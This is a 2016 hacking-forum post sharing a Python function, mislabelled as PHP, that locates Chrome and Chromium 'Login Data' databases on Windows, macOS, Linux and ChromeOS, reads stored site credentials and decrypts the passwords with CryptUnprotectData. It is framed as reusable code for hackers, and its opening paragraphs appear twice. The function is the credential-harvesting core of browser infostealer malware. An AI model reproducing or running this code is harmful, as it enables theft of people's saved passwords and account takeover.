May 15, 2016 02:58 AM
(This post was last modified: May 15, 2016 01:47 PM by 0x52-0x75-0x64-0x79.)
For Actual Coders/Programmers
Hello to for all of those pythonista's out there, a hardy function to return passwords from a chromium based browsers. This is simply a function, no retarded print statements, allowing for code reuse in an project. Tell you, malware analysts are correct when they say most hackers cant code for shit.
I have seen many 'interpretations' of late (not naming names), however i find them to be poorly written, and will fail in most cases. They do not cover Chromium based installs (many companies including AV outfits like to roll their on chromium build, mostly they do not change decryption routine.), or handle non-windows platforms. (This code is yet to handle decryption for nix)
This function does require passing the platform to it, however it then deals with the correct paths from there. I believe any good programmer would agree that each function should handle a clear defined problem.
I will be working on a ctypes interpretation of win32decrypt as a @TheHojack has pointed out, this should allow for less dependencies.
Hello to for all of those pythonista's out there, a hardy function to return passwords from a chromium based browsers. This is simply a function, no retarded print statements, allowing for code reuse in an project. Tell you, malware analysts are correct when they say most hackers cant code for shit.
I have seen many 'interpretations' of late (not naming names), however i find them to be poorly written, and will fail in most cases. They do not cover Chromium based installs (many companies including AV outfits like to roll their on chromium build, mostly they do not change decryption routine.), or handle non-windows platforms. (This code is yet to handle decryption for nix)
This function does require passing the platform to it, however it then deals with the correct paths from there. I believe any good programmer would agree that each function should handle a clear defined problem.
I will be working on a ctypes interpretation of win32decrypt as a @TheHojack has pointed out, this should allow for less dependencies.
PHP Code
<?php
class AccessError(Exception):
pass
def retgcstoredpasswds(platform,version='chrome'):
"""
Function that will fetch (if any) stored passwords from within Google Chrome's sqlite3 database for the user running the process.
Results are returned as a set - URL, Username, Password.
Tested against GC 47.0.2526.106 m, Issue dates back to at least 27.0.1453.110, fix unlikely, as google assign as not a threat.
Should work against any chromuim based browser produced in that time, unless the developer handles saved passwords differently.
"""
from os import getenv
from sqlite3 import connect as sqconnect
from win32crypt import CryptUnprotectData as dc
if version == 'chrome': fpath = '\\Google\\Chrome\\'
else: fpath = '\\Chromium\\'
results = []
if platform == 'win6x':path = getenv("APPDATA") + "\\..\\Local\\" + fpath + "User Data\\Default\\Login Data"
elif platform == 'win5x':path = 'C:\\Documents and Settings\\' + getenv('USERNAME') + '\\Local Settings\\Application Data' + fpath + 'User Data\\Default\\Login Data'
elif platform == 'osx':path = getenv('HOME') + '/Library/Application Support/' + fpath + '/Default/Login Data'
elif platform == 'chros': path = '/home/chronos/Login Data'
elif platform == 'nix':
if version == 'chrome': fpath = 'google-chrome'
else: fpath = 'chromium'
path = getenv('HOME') + '/.config/' + fpath + '/Default/Login Data'
else: raise ValueError('Browser type not understood or supported.')
connect = sqconnect(path)
cursor = connect.cursor()
try:
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
except OperationalError:
raise AccessError("Chrome or other user accesing db")
for result in cursor.fetchall():
password = dc(result[2], None, None, None, 0)[1]
if password:
results.append((result[0], result[1], password))
return results



